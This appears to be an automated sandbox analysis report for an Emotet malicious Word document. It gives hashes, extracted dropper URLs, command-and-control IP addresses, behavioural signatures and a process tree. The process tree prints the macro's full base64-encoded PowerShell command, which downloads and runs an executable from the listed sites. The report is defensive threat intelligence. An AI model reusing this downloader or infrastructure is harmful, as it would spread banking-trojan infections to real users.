emotet | 3361a7728f1f166bb7b60e5374cb9ccc89e2ea2c99e2061fee5f35a006e0d6e9

General

Target

emotet_e2_3361a7728f1f166bb7b60e5374cb9ccc89e2ea2c99e2061fee5f35a006e0d6e9_2020-07-29__015138._doc.doc
Size

175KB
MD5

6357cb037551b5cf2c226a351276a1c3
SHA1

7ca803c8cd20daf335fdabd06865967b7519448f
SHA256

3361a7728f1f166bb7b60e5374cb9ccc89e2ea2c99e2061fee5f35a006e0d6e9
SHA512

f98b19cd23b3d3a426d07411160a6e44e1b125bb7ff3506aba76d263e7e2f1bae90ad3810b28581b16fd751e6345cca1d7e0eecaaf4eba549a0bbceb6c630635

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://fishbitedesign.com/delete_me/aq_no3_pixel079b/

exe.dropper

http://floridoweddings.com/wp-admin/1_fb_3rv7z6mr/

exe.dropper

http://floydswoodshop.com/floydswo/nn_g5_0s/

exe.dropper

http://fmcav.com/images/tihvt_5d_3znqq/

exe.dropper

http://goharm.com/wp-content/plugins/classic-editor/7b_k5_bo4lrnbmo6/

Extracted

Family

emotet

C2

76.27.179.47:80

212.51.142.238:8080

189.212.199.126:443

61.19.246.238:443

162.154.38.103:80

91.211.88.52:7080

83.110.223.58:443

124.45.106.173:443

116.203.32.252:8080

109.117.53.230:443

5.196.74.210:8080

75.139.38.211:80

168.235.67.138:7080

176.111.60.55:8080

169.239.182.217:8080

74.208.45.104:8080

31.31.77.83:443

222.214.218.37:4143

37.139.21.175:8080

91.205.215.66:443

rsa_pubkey.plain

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4004	720	powersheLL.exe	66

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4004	powersheLL.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4004	powersheLL.exe
4004	powersheLL.exe
4004	powersheLL.exe
3672	msltus40.exe
3672	msltus40.exe
3672	msltus40.exe
3672	msltus40.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\msorc32r\msltus40.exe	227.exe

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
3984	WINWORD.EXE
2788	227.exe
2788	227.exe
3672	msltus40.exe
3672	msltus40.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3984	WINWORD.EXE
3984	WINWORD.EXE

Blacklisted process makes network request 1 IoCs

flow	pid	Process
20	4004	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2788	227.exe
3672	msltus40.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2788 wrote to memory of 3672	2788	227.exe	77
PID 2788 wrote to memory of 3672	2788	227.exe	77
PID 2788 wrote to memory of 3672	2788	227.exe	77

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2788-9-0x0000000002220000-0x000000000222C000-memory.dmp	emotet
behavioral2/memory/3672-12-0x0000000000640000-0x000000000064C000-memory.dmp	emotet

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_3361a7728f1f166bb7b60e5374cb9ccc89e2ea2c99e2061fee5f35a006e0d6e9_2020-07-29__015138._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Enumerates system info in registry
PID:3984

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABBAE4ATABWAE4AaQBmAHoAPQAnAEoAQgBXAE4AUQBpAGUAZAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwB1AHIAYABpAGAAVABZAFAAUgBPAHQAbwBjAG8ATAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEcATQBCAFcASQBtAGsAawAgAD0AIAAnADIAMgA3ACcAOwAkAFYAWABZAEUARgB3AHcAcQA9ACcASQBUAEUASwBVAHUAdgBsACcAOwAkAE0AUwBSAEsASgB1AGQAdgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARwBNAEIAVwBJAG0AawBrACsAJwAuAGUAeABlACcAOwAkAFEARgBKAEUASwBoAHQAdAA9ACcAVABXAFMAUwBFAGcAbABwACcAOwAkAFcAQgBWAE0ASABqAHAAeQA9AC4AKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAHQALgBXAEUAYgBjAGwAaQBlAG4AdAA7ACQARgBHAFQASABBAGEAZABkAD0AJwBoAHQAdABwADoALwAvAGYAaQBzAGgAYgBpAHQAZQBkAGUAcwBpAGcAbgAuAGMAbwBtAC8AZABlAGwAZQB0AGUAXwBtAGUALwBhAHEAXwBuAG8AMwBfAHAAaQB4AGUAbAAwADcAOQBiAC8AKgBoAHQAdABwADoALwAvAGYAbABvAHIAaQBkAG8AdwBlAGQAZABpAG4AZwBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwAxAF8AZgBiAF8AMwByAHYANwB6ADYAbQByAC8AKgBoAHQAdABwADoALwAvAGYAbABvAHkAZABzAHcAbwBvAGQAcwBoAG8AcAAuAGMAbwBtAC8AZgBsAG8AeQBkAHMAdwBvAC8AbgBuAF8AZwA1AF8AMABzAC8AKgBoAHQAdABwADoALwAvAGYAbQBjAGEAdgAuAGMAbwBtAC8AaQBtAGEAZwBlAHMALwB0AGkAaAB2AHQAXwA1AGQAXwAzAHoAbgBxAHEALwAqAGgAdAB0AHAAOgAvAC8AZwBvAGgAYQByAG0ALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBwAGwAdQBnAGkAbgBzAC8AYwBsAGEAcwBzAGkAYwAtAGUAZABpAHQAbwByAC8ANwBiAF8AawA1AF8AYgBvADQAbAByAG4AYgBtAG8ANgAvACcALgAiAFMAcABsAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQwBJAEcAWgBSAHIAcwBxAD0AJwBGAFIAQgBUAFUAeABrAG0AJwA7AGYAbwByAGUAYQBjAGgAKAAkAEYAQgBRAFUARgBpAHcAeQAgAGkAbgAgACQARgBHAFQASABBAGEAZABkACkAewB0AHIAeQB7ACQAVwBCAFYATQBIAGoAcAB5AC4AIgBkAE8AVwBOAEwAbwBhAGAAZABGAGAAaQBgAGwAZQAiACgAJABGAEIAUQBVAEYAaQB3AHkALAAgACQATQBTAFIASwBKAHUAZAB2ACkAOwAkAFAAUQBOAFIASwBtAG8AZAA9ACcAVQBQAE8AWABaAGYAZQB0ACcAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQATQBTAFIASwBKAHUAZAB2ACkALgAiAGwARQBgAE4ARwBUAEgAIgAgAC0AZwBlACAAMgAyADEAMAA5ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAFIAYABlAGEAdABlACIAKAAkAE0AUwBSAEsASgB1AGQAdgApADsAJABRAE4AUwBMAFQAbgBvAGMAPQAnAEEAQwBWAEkAUwBnAHYAeQAnADsAYgByAGUAYQBrADsAJABMAFkAVQBMAE8AeAB5AGEAPQAnAEgAUwBXAE8AQQB1AHgAdgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABYAEYAVQBEAFYAagBoAGQAPQAnAFkASABXAFIARABnAGIAaQAnAA==
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:4004

C:\Users\Admin\227.exe
C:\Users\Admin\227.exe
1⤵
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2788
- C:\Windows\SysWOW64\msorc32r\msltus40.exe
  "C:\Windows\SysWOW64\msorc32r\msltus40.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  - Executes dropped EXE
  PID:3672

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2788-9-0x0000000002220000-0x000000000222C000-memory.dmp

Filesize
48KB

Download
memory/3672-12-0x0000000000640000-0x000000000064C000-memory.dmp

Filesize
48KB

Download
memory/3984-3-0x000001F3557FA000-0x000001F355800000-memory.dmp

Filesize
24KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads